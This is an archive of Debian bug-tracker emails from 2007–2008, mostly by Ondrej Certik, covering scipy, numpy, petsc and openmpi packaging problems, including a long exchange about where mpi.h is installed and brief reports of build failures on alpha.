Thanks very much for this bugreport. I just installed it on my system and it works: $ wajig install python-scipy Reading package lists... Done Building dependency tree Reading state information... Done Suggested packages: python-profiler The following NEW packages will be installed: python-scipy 0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded. Need to get 5997kB of archives. After unpacking 21.5MB of additional disk space will be used. Get:1 http://ftp.cz.debian.org unstable/main python-scipy 0.6.0-4 [5997kB] Fetched 5997kB in 12s (472kB/s) Selecting previously deselected package python-scipy. (Reading database ... 199195 files and directories currently installed.) Unpacking python-scipy (from .../python-scipy_0.6.0-4_i386.deb) ... Setting up python-scipy (0.6.0-4) ... [EMAIL PROTECTED]:~$ python Python 2.4.4 (#2, Aug 16 2007, 02:03:40) [GCC 4.1.3 20070812 (prerelease) (Debian 4.1.2-15)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import scipy >>> import scipy.linalg >>> So it's most probably a missing atlas dependency. The atlas packages are quite broken unfortunately. Also the python-numpy used to build python-scipy 0.6.0-4 is quite broken too. We just fixed python-numpy couple of hours ago, so when it hits unstable, we'll try to reproduce and fix this bug too. Ondrej Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#454429: python-numpy - FTBFS: Not fullfillable build-conflicts
Thanks for the bug report. We are working on exactly this problem, and it seems we finally made a progress, python-numpy got built on many architectures now: http://buildd.debian.org/pkg.cgi?pkg=python-numpy Once python-numpy gets to unstable on most of the architectures, we'll fix the rest. Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#454484: please check again
Hi, the new packages are in the archive, please try it again. I am not able to reproduce it. I purged all atlas packages and did: $ wajig install python-scipy Reading package lists... Done Building dependency tree Reading state information... Done The following packages were automatically installed and are no longer required: atlas3-headers Use 'apt-get autoremove' to remove them. The following extra packages will be installed: atlas3-base python-numpy Suggested packages: atlas3-3dnow atlas3-sse atlas3-sse2 python-numpy-dbg python-numpy-doc python-profiler The following NEW packages will be installed: atlas3-base python-numpy python-scipy 0 upgraded, 3 newly installed, 0 to remove and 2 not upgraded. Need to get 0B/13.9MB of archives. After unpacking 45.9MB of additional disk space will be used. Do you want to continue [Y/n]? Preconfiguring packages ... Selecting previously deselected package atlas3-base. (Reading database ... 200719 files and directories currently installed.) Unpacking atlas3-base (from .../atlas3-base_3.6.0-20.6_i386.deb) ... Selecting previously deselected package python-numpy. Unpacking python-numpy (from .../python-numpy_1%3a1.0.4-2_i386.deb) ... Selecting previously deselected package python-scipy. Unpacking python-scipy (from .../python-scipy_0.6.0-5_i386.deb) ... Setting up atlas3-base (3.6.0-20.6) ... Setting up python-numpy (1:1.0.4-2) ... Setting up python-scipy (0.6.0-5) ... [EMAIL PROTECTED]:~$ python Python 2.4.4 (#2, Aug 16 2007, 02:03:40) [GCC 4.1.3 20070812 (prerelease) (Debian 4.1.2-15)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import scipy >>> import scipy.linalg >>> And it works. Which architecture are you in? i386, or amd64, or other? Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#454484: closed by Ondrej Certik <[EMAIL PROTECTED]> (seems to work, closing)
On Dec 15, 2007 12:47 AM, Erich Schubert <[EMAIL PROTECTED]> wrote: > Hi, > Your mails never reached me. Did you send them to the BTS only maybe? Yes, only to BTS, I thought they will be automatically forwarded to you. Sorry about that. > As you can see from the original bug report, I didn't have Atlas > installed but lapack/refblas, which was permissible by the dependencies. > > It seems that dependencies have changed since, and you no longer can > install python-scipy/numpy without atlas anymore, so the bug is fixed. Thanks. If you find any other problems, please report them. Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#456354: bug reproduced
Hi Kurt, thanks for the report. I traced the bug down to this: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=456721 When we fix that, we'll upload a new revision. Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#456730: FTBFS
Package: petsc Severity: serious --- Please enter the report below this line. --- Hi Adam, latest petsc from unstable FTBFS in pbuilder for me: [...] TESTING: checkCCompiler from config.setCompilers(/tmp/buildd/petsc-2.3.3/python/BuildSystem/config/setCompilers.py:380) * UNABLE to EXECUTE BINARIES for config/configure.py --- Cannot run executables created with C. It is likely that you will need to configure using --with-batch which allows configuration without interactive sessions. * make: *** [build-arch] Error 1 I think it's related to the bug: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=456721 Ondrej --- System information. --- Architecture: i386 Kernel: Linux 2.6.22-2-686 Debian Release: lenny/sid 500 unstableftp.cz.debian.org --- Package information. --- Depends (Version) | Installed ===-+-=== | -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#456721: libpetsc.so depends on unexistent libraries
On Dec 17, 2007 7:41 PM, Adam C Powell IV <[EMAIL PROTECTED]> wrote: > reassign 456721 libopenmpi1 > severity 456721 grave > thanks > > Moving libmpi_*.so.0 to /usr/lib/openmpi/lib/ with no symlinks > from /usr/lib *breaks every package which links with those libraries*. > The soname ends in .so.0, so the .so.0 files must be in the library > path, i.e. in /usr/lib. Thanks Adam for discovering the root of the problem. So a simple upload of openmpi package should fix both petsc and libmesh packages. Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#457088: mpi.h is missing
Package: libopenmpi-dev Version: 1.2.4-5 Severity: serious --- Please enter the report below this line. --- Hi, the mpi.h is missing. I found it in /usr/lib/openmpi/include/ please add at least a symlink or something to /usr/include the is breaks the python-petsc4py package for example: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=456869 It used to work before. I could fix it by patching the build scripts to include /usr/lib/openmpi/include/, but the right solution imho is to fix libopenmpi-dev. Thanks, Ondrej --- System information. --- Architecture: i386 Kernel: Linux 2.6.22-2-686 Debian Release: lenny/sid 500 unstableftp.cz.debian.org 500 unstabledebian.certik.cz --- Package information. --- Depends (Version) | Installed ==-+- libopenmpi1(= 1.2.4-5) | 1.2.4-5 openmpi-common (= 1.2.4-5) | 1.2.4-5 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#457088: [Pkg-openmpi-maintainers] Bug#457088: mpi.h is missing
On Dec 19, 2007 7:15 PM, Dirk Eddelbuettel <[EMAIL PROTECTED]> wrote: > On Wed, Dec 19, 2007 at 06:49:15PM +0100, Ondrej Certik wrote: > > Package: libopenmpi-dev > > Version: 1.2.4-5 > > Severity: serious > > > > --- Please enter the report below this line. --- > > > > Hi, > > > > the mpi.h is missing. I found it in > > > > /usr/lib/openmpi/include/ > > > > please add at least a symlink or something to > > > > /usr/include > > > > the is breaks the python-petsc4py package for example: > > > > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=456869 > > > > It used to work before. I could fix it by patching the build scripts to > > include /usr/lib/openmpi/include/, but > > the right solution imho is to fix libopenmpi-dev. > > Nope, as we as package maintainers simply changed the location. Study > the configure options you have in your client (source) code. > > For what it's worth, I just made the same change in Rmpi (being its > maintainer). > > mpi.h not being in /usr/include is not a bug. and certainly not a > serious bug. Please show some more restraint. > > You can always ask us off-line, as you have seen in the last few days > we tend to respond quickly. I am sorry I put the severity wrong. But you, as the maintainer can adjust it as you see fit. As to the real problem - I just asked about exactly this on debian-python: http://lists.debian.org/debian-python/2007/12/msg00030.html and I think include files belong to /usr/include, accordig to the FHS: http://www.debian.org/doc/packaging-manuals/fhs/fhs-2.3.html#USRINCLUDEDIRECTORYFORSTANDARDINCLU So it's imho a bug and should be reopened. (I know how to fix petsc4py, I just tried and confirmed it works, but I think it's a bug that should be fixed in openmpi, not petsc4py). Why do you think the header files shouldn't be in /usr/include? Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#457088: [Pkg-openmpi-maintainers] Bug#457088: mpi.h is missing
> | I meant something like /usr/include/openmpi/ > > You lost me. Please make up your mind as to whether you think it is a problem > because we do or do not use /usr/include, or /usr/include/openmpi ? > > We use /usr/include/openmpi now, and we think that's the right way: I agree that is the right way, but you don't use /usr/include/openmpi, but /usr/lib/openmpi/include, as you have just shown: > > [EMAIL PROTECTED]:~$ dpkg -L libopenmpi-dev | grep mpi.h > /usr/lib/openmpi/include/mpi.h > /usr/lib/openmpi/include/openmpi/ompi/mpi/f77/prototypes_mpi.h > [EMAIL PROTECTED]:~$ dpkg -l libopenmpi-dev > Desired=Unknown/Install/Remove/Purge/Hold > | Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed > |/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: > uppercase=bad) > ||/ Name Version > Description > +++-==-==- > ii libopenmpi-dev 1.2.4-5 > high performance message passing library -- header files > [EMAIL PROTECTED]:~$ > > No bug here, and if you could excuse me now, I got real work to do. I am sorry for taking your time. And I appreciate your work on openmpi. Unfortunately I still don't understand how it works. I admit it can be my fault. Let me repeat my question: Why does openmpi use /usr/lib instead of /usr/include? Other libraries use /usr/include, like petsc (/usr/include/petsc), libmesh (/usr/include/libmesh), gtk (/usr/include/gtk-2.0) etc. etc. Usually, as I understand it, they also use /usr/lib/something/include, but they always link from /usr/include. Also, I, as a user, was used to using /usr/include (/something) for everything, that's why I thought it'd the de facto standard, isn't it? And if not, is there some policy for that? I only found links I posted above, suggesting to use /usr/include. Thanks a lot, Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#457088: [Pkg-openmpi-maintainers] Bug#457088: Bug#457088: Bug#457088: mpi.h is missing
On Dec 20, 2007 12:29 AM, Manuel Prinz <[EMAIL PROTECTED]> wrote: > Dear Sune! > > Am Mittwoch, den 19.12.2007, 23:43 +0100 schrieb Sune Vuorela: > > I have read the discussion in the bug report. If it is anywhere else, please > > point to it instead of playing smart-ass. > > That applies to everyone: I don't like the tone of the recent emails and > would be glad if we could all calm down and keep the discussion at a > technical level, so we can spend our time on working on Debian and not > flaming each other. > > > From the fhs: > > /usr/include : Directory for standard include files. > > /usr/lib : Libraries for programming and packages > > > > mpi.h surely only fits in first category. > > mpi.h is provided in /usr/include/mpi via update-alternatives, as every > other include file needed by an MPI implementation is, so I do not see > the problem here. I don't find a reference in the policy that states > that one is not allowed to symlink to where the files reside in the > filesystem. Actually, all packages using update-alternatives I looked at > so far put their stuff in /usr/lib/package. If that's wrong, we can > correct that. But from what I saw this is common practice. mpich even > has files in /usr/lib/mpich/bin. IANADD, so I may be wrong and looked at > broken packages. Could you please give me some insight how a solution > would look like in your eyes? Thanks in advance! Hi Manuel, thanks very much for your reply. As you explained in your previous email, I think the misunderstanding is, that you and Dirk think, that /usr/include/mpi.h is symlinked to /usr/lib/openmpi/whatever, right? If it was true, everything would be fine and imho that would be according to the policy. Unfortunately, I think it is not true: $ ll /usr/include/mpi.h ls: /usr/include/mpi.h: No such file or directory That's just my computer, it can be misconfigured. But it's the same problem on buildbots: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=456869 As you can see there: > /usr/lib/petsc/include/petsc.h:138:17: error: mpi.h: No such file or directory if the mpi.h was in /usr/include, as you say, it would be found. I am sad, that you think it is not a bug. Imho, the right thing to do is to open this bug, leave it open, and then try to fix it. Maybe it's a problem with update-alternatives again, as it used to be in the past. Could be. But, the end result is, that libopenmpi-dev is not following FHS (for one reason or another) and that is a bug (in my opinion). So let's open this bug and maybe another one in update-alternatives, blocking this one? I think there is some misunderstanding, I am sure you have thought about libopenmpi-dev being compliant to FHS and that's why you think it's not a bug, but I have my computer misconfigured (and buildbots too). So where is your intended place for mpi.h? /usr/inlude/mpi.h? Or /usr/include/openmpi/mpi.h? (Neither exist on my system). Let's make this clear, and then try to fix this bug. I would be glad, if you could Dirk reopen it. Thanks a lot, Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#457088: [Pkg-openmpi-maintainers] Bug#457088: Bug#457088: Bug#457088: mpi.h is missing
On Dec 20, 2007 8:00 AM, Ondrej Certik <[EMAIL PROTECTED]> wrote: > > On Dec 20, 2007 12:29 AM, Manuel Prinz <[EMAIL PROTECTED]> wrote: > > Dear Sune! > > > > Am Mittwoch, den 19.12.2007, 23:43 +0100 schrieb Sune Vuorela: > > > I have read the discussion in the bug report. If it is anywhere else, > > > please > > > point to it instead of playing smart-ass. > > > > That applies to everyone: I don't like the tone of the recent emails and > > would be glad if we could all calm down and keep the discussion at a > > technical level, so we can spend our time on working on Debian and not > > flaming each other. > > > > > From the fhs: > > > /usr/include : Directory for standard include files. > > > /usr/lib : Libraries for programming and packages > > > > > > mpi.h surely only fits in first category. > > > > mpi.h is provided in /usr/include/mpi via update-alternatives, as every > > other include file needed by an MPI implementation is, so I do not see > > the problem here. I don't find a reference in the policy that states > > that one is not allowed to symlink to where the files reside in the > > filesystem. Actually, all packages using update-alternatives I looked at > > so far put their stuff in /usr/lib/package. If that's wrong, we can > > correct that. But from what I saw this is common practice. mpich even > > has files in /usr/lib/mpich/bin. IANADD, so I may be wrong and looked at > > broken packages. Could you please give me some insight how a solution > > would look like in your eyes? Thanks in advance! > > Hi Manuel, > > thanks very much for your reply. As you explained in your previous email, > I think the misunderstanding is, that you and Dirk think, that > /usr/include/mpi.h > is symlinked to /usr/lib/openmpi/whatever, right? > > If it was true, everything would be fine and imho that would be > according to the policy. Unfortunately, I think it is not true: > > $ ll /usr/include/mpi.h > ls: /usr/include/mpi.h: No such file or directory > > That's just my computer, it can be misconfigured. But it's the same > problem on buildbots: > > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=456869 > > As you can see there: > > > /usr/lib/petsc/include/petsc.h:138:17: error: mpi.h: No such file or > > directory > > if the mpi.h was in /usr/include, as you say, it would be found. > > I am sad, that you think it is not a bug. > > Imho, the right thing to do is to open this bug, leave it open, and > then try to fix it. Maybe it's a problem with update-alternatives > again, > as it used to be in the past. Could be. But, the end result is, that > libopenmpi-dev is not following FHS (for one reason or another) and > that is a bug (in my opinion). So let's open this bug and maybe > another one in update-alternatives, blocking this one? > > > I think there is some misunderstanding, I am sure you have thought > about libopenmpi-dev being compliant to FHS and that's why > you think it's not a bug, but I have my computer misconfigured (and > buildbots too). So where is your intended place for mpi.h? > /usr/inlude/mpi.h? Or /usr/include/openmpi/mpi.h? (Neither exist on my > system). Ah, maybe you mean /usr/include/mpi/mpi.h? [EMAIL PROTECTED]:~$ ll /usr/include/mpi/ total 132 -rw-r--r-- 1 root root 20045 2007-12-19 04:48 mpif-common.h -rw-r--r-- 1 root root 3659 2007-12-19 04:49 mpif-config.h -rw-r--r-- 1 root root 3321 2007-12-19 04:49 mpif.h -rw-r--r-- 1 root root 102842 2007-12-19 04:49 mpi.h drwxr-xr-x 5 root root146 2007-12-19 09:58 openmpi [EMAIL PROTECTED]:~$ ll /usr/lib/openmpi/include/mpi.h -rw-r--r-- 1 root root 102842 2007-12-19 04:49 /usr/lib/openmpi/include/mpi.h [EMAIL PROTECTED]:~$ md5sum /usr/lib/openmpi/include/mpi.h 8be263242a74ca9dd10521a5dc9b80c0 /usr/lib/openmpi/include/mpi.h [EMAIL PROTECTED]:~$ md5sum /usr/include/mpi/mpi.h 8be263242a74ca9dd10521a5dc9b80c0 /usr/include/mpi/mpi.h The md5sums are the same, but clearly this is not a symlink on my system. I tried to include /usr/include/mpi in petsc4py and this seems to work. So, is a solution to your bug to include /usr/include/mpi and that's it? I am worried it's not a symlink. Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#457088: [Pkg-openmpi-maintainers] Bug#457088: Bug#457088: Bug#457088: mpi.h is missing
On Dec 20, 2007 8:12 AM, Ondrej Certik <[EMAIL PROTECTED]> wrote: > > On Dec 20, 2007 8:00 AM, Ondrej Certik <[EMAIL PROTECTED]> wrote: > > > > On Dec 20, 2007 12:29 AM, Manuel Prinz <[EMAIL PROTECTED]> wrote: > > > Dear Sune! > > > > > > Am Mittwoch, den 19.12.2007, 23:43 +0100 schrieb Sune Vuorela: > > > > I have read the discussion in the bug report. If it is anywhere else, > > > > please > > > > point to it instead of playing smart-ass. > > > > > > That applies to everyone: I don't like the tone of the recent emails and > > > would be glad if we could all calm down and keep the discussion at a > > > technical level, so we can spend our time on working on Debian and not > > > flaming each other. > > > > > > > From the fhs: > > > > /usr/include : Directory for standard include files. > > > > /usr/lib : Libraries for programming and packages > > > > > > > > mpi.h surely only fits in first category. > > > > > > mpi.h is provided in /usr/include/mpi via update-alternatives, as every > > > other include file needed by an MPI implementation is, so I do not see > > > the problem here. I don't find a reference in the policy that states > > > that one is not allowed to symlink to where the files reside in the > > > filesystem. Actually, all packages using update-alternatives I looked at > > > so far put their stuff in /usr/lib/package. If that's wrong, we can > > > correct that. But from what I saw this is common practice. mpich even > > > has files in /usr/lib/mpich/bin. IANADD, so I may be wrong and looked at > > > broken packages. Could you please give me some insight how a solution > > > would look like in your eyes? Thanks in advance! > > > > Hi Manuel, > > > > thanks very much for your reply. As you explained in your previous email, > > I think the misunderstanding is, that you and Dirk think, that > > /usr/include/mpi.h > > is symlinked to /usr/lib/openmpi/whatever, right? > > > > If it was true, everything would be fine and imho that would be > > according to the policy. Unfortunately, I think it is not true: > > > > $ ll /usr/include/mpi.h > > ls: /usr/include/mpi.h: No such file or directory > > > > That's just my computer, it can be misconfigured. But it's the same > > problem on buildbots: > > > > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=456869 > > > > As you can see there: > > > > > /usr/lib/petsc/include/petsc.h:138:17: error: mpi.h: No such file or > > > directory > > > > if the mpi.h was in /usr/include, as you say, it would be found. > > > > I am sad, that you think it is not a bug. > > > > Imho, the right thing to do is to open this bug, leave it open, and > > then try to fix it. Maybe it's a problem with update-alternatives > > again, > > as it used to be in the past. Could be. But, the end result is, that > > libopenmpi-dev is not following FHS (for one reason or another) and > > that is a bug (in my opinion). So let's open this bug and maybe > > another one in update-alternatives, blocking this one? > > > > > > I think there is some misunderstanding, I am sure you have thought > > about libopenmpi-dev being compliant to FHS and that's why > > you think it's not a bug, but I have my computer misconfigured (and > > buildbots too). So where is your intended place for mpi.h? > > /usr/inlude/mpi.h? Or /usr/include/openmpi/mpi.h? (Neither exist on my > > system). > > Ah, maybe you mean /usr/include/mpi/mpi.h? > > [EMAIL PROTECTED]:~$ ll /usr/include/mpi/ > total 132 > -rw-r--r-- 1 root root 20045 2007-12-19 04:48 mpif-common.h > -rw-r--r-- 1 root root 3659 2007-12-19 04:49 mpif-config.h > -rw-r--r-- 1 root root 3321 2007-12-19 04:49 mpif.h > -rw-r--r-- 1 root root 102842 2007-12-19 04:49 mpi.h > drwxr-xr-x 5 root root146 2007-12-19 09:58 openmpi > [EMAIL PROTECTED]:~$ ll /usr/lib/openmpi/include/mpi.h > -rw-r--r-- 1 root root 102842 2007-12-19 04:49 /usr/lib/openmpi/include/mpi.h > [EMAIL PROTECTED]:~$ md5sum /usr/lib/openmpi/include/mpi.h > 8be263242a74ca9dd10521a5dc9b80c0 /usr/lib/openmpi/include/mpi.h > [EMAIL PROTECTED]:~$ md5sum /usr/include/mpi/mpi.h > 8be263242a74ca9dd10521a5dc9b80c0 /usr/include/mpi/mpi.h > > The md5sums are the same, but clearly this is not a symlink on my > system. I tried to include /usr/include/mpi in petsc4py and this seems > to work. > > So, is a solution t
Bug#456869: [PATCH] petsc4py: FTBFS: /usr/lib/petsc/include/petsc.h:138:17: error: mpi.h: No such file or directory
Hi Manuel, > Hello Ondrej, > > attached you'll find a patch that solved the FTBFS of your package for > me. It patches the source directly, so you have to convert it so it can > be used with your favorite patch system. > > The problem is that you can't find the MPI includes, as you already > stated in #457088. This is an issue because you do not use the mpicc > compiler wrapper to compile. The best solution would be to add > > DEB_PYTHON_BUILD_ARGS += --compiler=/usr/bin/mpicc > > to debian/rules but distutils do not seem to handle that. (Which I think > is a bug in distutils, mpicc is just a gcc wrapper.) So the patch adds > the directory where the header files are located to the include search > path. > > I'm not familiar with your package at all, so I'm not quite sure if it > even uses MPI. But if it does, it would be a good idea to Build-Depend > on at least one MPI package. Currently, you're not doing this, and > relying on packages not in Build-Depends is an RC bug. If your package > does not make use of MPI at all, I'm not sure why had problems in the > first place. You shouldn't need the patch then. Thanks very much for it! Yes, this is the patch I did to fix the package, except that originally I was using /usr/lib/openmpi/inlude/ and that's why I filled that bug. I patched the package and now I am waiting to find a sponsor to upload it. Thanks again for the work you and Dirk are doing on the openmpi package and especially the quick responses. And sorry if I made some confusion. Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#457088: [Pkg-openmpi-maintainers] Bug#457088: Bug#457088: Bug#457088: mpi.h is missing
Hi Manuel, thanks for sorting this out. > No. We never stated that mpi.h is symlinked in /usr/include. I said in > my previous mail that mpi.h can be found in the /usr/include/mpi > directory which is a symlink to /usr/lib/openmpi/include/. This is like > all MPI packages do it. To the best of my knowledge, this is totally > fine. All X11 include files are for example in /usr/include/X11 and not > symlinked into /usr/include. Neither do we, because the amount of header > files you need to compile against a MPI package varies between the > packages. That's we all provide them in /usr/include/mpi as alternative. Yes, as I wrote later, I misread your email, you did say that. However, the /usr/include/mpi/mpi.h is not a symlink. Neither is: $ ll /etc/alternatives/mpi/mpi.h -rw-r--r-- 1 root root 102842 2007-12-19 04:49 /etc/alternatives/mpi/mpi.h Is that correct? > > > /usr/lib/petsc/include/petsc.h:138:17: error: mpi.h: No such file or > > > directory > > > > if the mpi.h was in /usr/include, as you say, it would be found. > > Yes. But if you provide -I/usr/include/mpi to your compiler, it would be > found as well, and you don't have to modify your package at all if some > thinks it's a better idea to compile it against i.e. LAM. Agree, that's the way to do it. > > Imho, the right thing to do is to open this bug, leave it open, and > > then try to fix it. Maybe it's a problem with update-alternatives > > again, as it used to be in the past. Could be. But, the end result is, that > > libopenmpi-dev is not following FHS (for one reason or another) and > > that is a bug (in my opinion). So let's open this bug and maybe > > another one in update-alternatives, blocking this one? > > This time, it's not a problem of update-alternatives. We can of course > reopen the bug. (Or you can do it, if you feel it's the right thing, I > won't blame you.) I do not know what your solution to this is. I can see > two: > > 1. We move stuff to symlink in /usr/include, so /usr/include/mpi.h can > be found there. That means we do have to do a lot of cross-checking with > the other packages and clutter /usr/include without a good reason. As > said above, you usually need more than mpi.h to link successfully. This > will take a while and we need to get the other MPI maintainers to adopt > the change. No, /usr/include/mpi is just fine. As I wrote, I didn't know you use it, until you told me so. You moved to this quite recently, right? > 2. You pass -I/usr/include/mpi or check if your ./configure accepts > something like --with-mpi-include. Some packages using MPI do because > they are aware that there is more than just one MPI implementation in > the wild. That is the way most packages went for years. Yes, that's the way to do. > > I think there is some misunderstanding, I am sure you have thought > > about libopenmpi-dev being compliant to FHS and that's why > > you think it's not a bug, but I have my computer misconfigured (and > > buildbots too). So where is your intended place for mpi.h? > > /usr/inlude/mpi.h? Or /usr/include/openmpi/mpi.h? (Neither exist on my > > system). > > As explained above, neither of them. It's /usr/include/mpi/mpi.h. I got it now. > > Let's make this clear, and then try to fix this bug. > > Agreed. I'd like to hear your view on what solutions you like best, or > maybe you have a better solution than the ones I proposed. But to fix > it, we need to agree on how to that. (Or in our case, agree that it's > actually broken.) Now I think it's not a bug. But: shouldn't /usr/include/mpi/mpi.h be a link, instead of a file? That may be a bug, but definitely not a serious bug anymore. > > I would be glad, if you could Dirk reopen it. > > As said, everyone can do this. If you still think it has to be reopened > after reading this email, you should do so! No, I think this particular bug is solved. What do you think about the symlink problem? Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#457088: [Pkg-openmpi-maintainers] Bug#457088: Bug#457088: Bug#457088: mpi.h is missing
On Dec 21, 2007 9:10 AM, Manuel Prinz <[EMAIL PROTECTED]> wrote: > Hi Ondrej! > > Am Donnerstag, den 20.12.2007, 20:13 +0100 schrieb Ondrej Certik: > > [ Some confusing about /usr/include/mpi/mpi.h not being a symlink ] > > No, I think this particular bug is solved. > > > > What do you think about the symlink problem? > > /usr/include/mpi/mpi.h is not a symlink because /usr/include/mpi is a > symlink. The MPI packages place all their header files in a directory Opps, that didn't occur to me, I am stupid. Yes, you are of course right. BTW, if you told me Dirk this right at the beginning, that /usr/include/mpi is symlinked to the right headers in openmpi, we could have spared the whole thread. I didn't know about that, I thought you only have /usr/lib, which would be of course bad. All is fine, no bug there. Thanks again for your time spent on this issue. Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#458383: upstream
I sent the attached email to upstream (I forgot to CC this bug). The email didn't yet show up in: http://lists.ipython.scipy.org/pipermail/ipython-dev/2007-December/thread.html maybe I will have to subscribe to that list. I hate so many mailman lists... Ondrej - Hi, while packaging ipython in Debian, we run across this problem: http://projects.scipy.org/ipython/ipython/ticket/204 do you think it could be please fixed in the next release? As written in the ticket, the easiest solution is to include the sources for the documentation in the tarball. The rest can be handled by the Debian maintainer easily. Thanks a lot! Ondrej P.S. Please CC me. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#458383: [IPython-dev] please include documentation sources in the tarball
Hi Fernando, On Dec 30, 2007 11:25 PM, Fernando Perez <[EMAIL PROTECTED]> wrote: > On Dec 30, 2007 2:57 PM, Ondrej Certik <[EMAIL PROTECTED]> wrote: > > Hi, > > > > while packaging ipython in Debian, we run across this problem: > > > > http://projects.scipy.org/ipython/ipython/ticket/204 > > > > do you think it could be please fixed in the next release? > > Done: > > http://ipython.scipy.org/ipython/ipython/changeset/2909 > > Feel free to comment further on the ticket if you think I missed anything. Thanks a lot! I am CCing to the respective Debian bug report: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=458383 if there are further problems, I'll let you know. Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#456892: FTBFS
On Dec 31, 2007 2:07 PM, Philipp Kern <[EMAIL PROTECTED]> wrote: > On Tue, Dec 18, 2007 at 11:18:37AM +0100, Ondrej Certik wrote: > > When trying to build the source package from unstable, I get: > > This caused a FTBFS on arm. I thus uploaded the attached NMU with > Kumar's patch to DELAYED/2-days. Thanks a lot. Next time, feel free to upload it directly. No need for the DELAYED. Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#455670: patch
On Wed, May 7, 2008 at 12:56 AM, Maximiliano Curia <[EMAIL PROTECTED]> wrote: > Hola Adam C Powell IV! > > El 06/05/2008 a las 15:28 escribiste: >> Apologies for the delay in getting back to you all. It looks like this >> bug is still open. Is this something I can help with, now that I'm part >> of pkg-scicomp? > > All the patches seem to be available in the bug history, so please test them > and upload the fixed version. Yes and if you need any help, please ask. Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#475458: the same on alpha
The same problem seems to be on alpha: http://buildd.debian.org/~jeroen/status/package.php?suite=unstable&p=aspectc%2B%2B&a=alpha Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#480892: the same on alpha
The same problem seems to happen on alpha: http://buildd.debian.org/~jeroen/status/package.php?suite=unstable&p=apt&a=alpha -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#471223: the same on alpha
The same problem happens on alpha: http://buildd.debian.org/~jeroen/status/package.php?suite=unstable&p=ecl&a=alpha -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#477353: the same on alpha
It seems the same problem happens on alpha: http://buildd.debian.org/~jeroen/status/package.php?suite=unstable&p=openscenegraph&a=alpha Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#479888: the same on alpha
The same seems to happen on alpha: http://buildd.debian.org/~jeroen/status/package.php?suite=unstable&p=avscan&a=alpha Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#471217: the same on alpha
The same problem seems to happen on alpha: http://buildd.debian.org/~jeroen/status/package.php?suite=unstable&p=xml-to-sexp&a=alpha Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#479043: the same on alpha
The same problem seems to happen on alpha: http://buildd.debian.org/~jeroen/status/package.php?suite=unstable&p=brdesktop-flavours&a=alpha Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
